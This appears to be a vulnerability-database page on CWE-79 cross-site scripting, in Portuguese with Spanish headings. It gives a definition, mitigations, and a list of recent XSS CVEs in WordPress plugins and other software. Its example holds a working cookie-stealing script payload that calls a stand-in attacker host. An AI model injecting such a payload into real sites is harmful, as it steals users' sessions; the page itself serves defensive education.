Fallos del tipo CWE-79

30.271 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-23768HIGHWordPress InFunding plugin <= 1.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-32666HIGHWordPress Hive Support plugin <= 1.2.5 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-27354HIGHWordPress Simple Email Subscriber plugin <= 2.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-23448HIGHWordPress visualslider Sldier plugin <= 1.1.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-2101HIGHReflected Cross-site Scripting (XSS) vulnerability affecting ENOVIAvpm Web Access from ENOVIAvpm Version 1 Release 16 through ENOVIAvpm Version 1 Release 19EPSS 0.3%CVE-2025-32628HIGHWordPress Crowdfunding for WooCommerce Plugin <= 3.1.12 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-53722MEDIUMNuxt: Reflected XSS in `<NuxtLink>` via unsanitised `javascript:` or `data:` URLEPSS 0.3%CVE-2025-23782HIGHWordPress TotalContest Lite Plugin <= 2.8.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-28426HIGHStatamic vulnerable to privilege escalation via stored cross-site scriptingEPSS 0.3%CVE-2025-32639HIGHWordPress Affiliate Links plugin <= 3.1.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-32613HIGHWordPress Debug Log Manager plugin <= 2.3.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-32638HIGHWordPress ShopApper plugin <= 0.4.61 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-32604HIGHWordPress AWSA Shipping Plugin <= 1.3.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-32196MEDIUMWindows Admin Center Spoofing VulnerabilityEPSS 0.3%CVE-2025-32634HIGHWordPress Run Contests, Raffles, and Giveaways plugin <= 2.1.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-36580MEDIUMDell Wyse Management Suite, versions prior to WMS 5.2, contain an Improper Neutralization of Input During Web Page Generation ('Cross-site SEPSS 0.3%CVE-2024-48417MEDIUMEdimax AC1200 Wi-Fi 5 Dual-Band Router BR-6476AC 1.06 is vulnerable to Cross Site Scripting (XSS) in : /bin/goahead via /goform/setStaticRouEPSS 0.3%CVE-2025-32566HIGHWordPress License For Envato Plugin <= 1.0.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-32554HIGHWordPress Raptive Ads plugin <= 3.7.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-23531HIGHWordPress RSVPMaker Volunteer Roles plugin <= 1.5.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%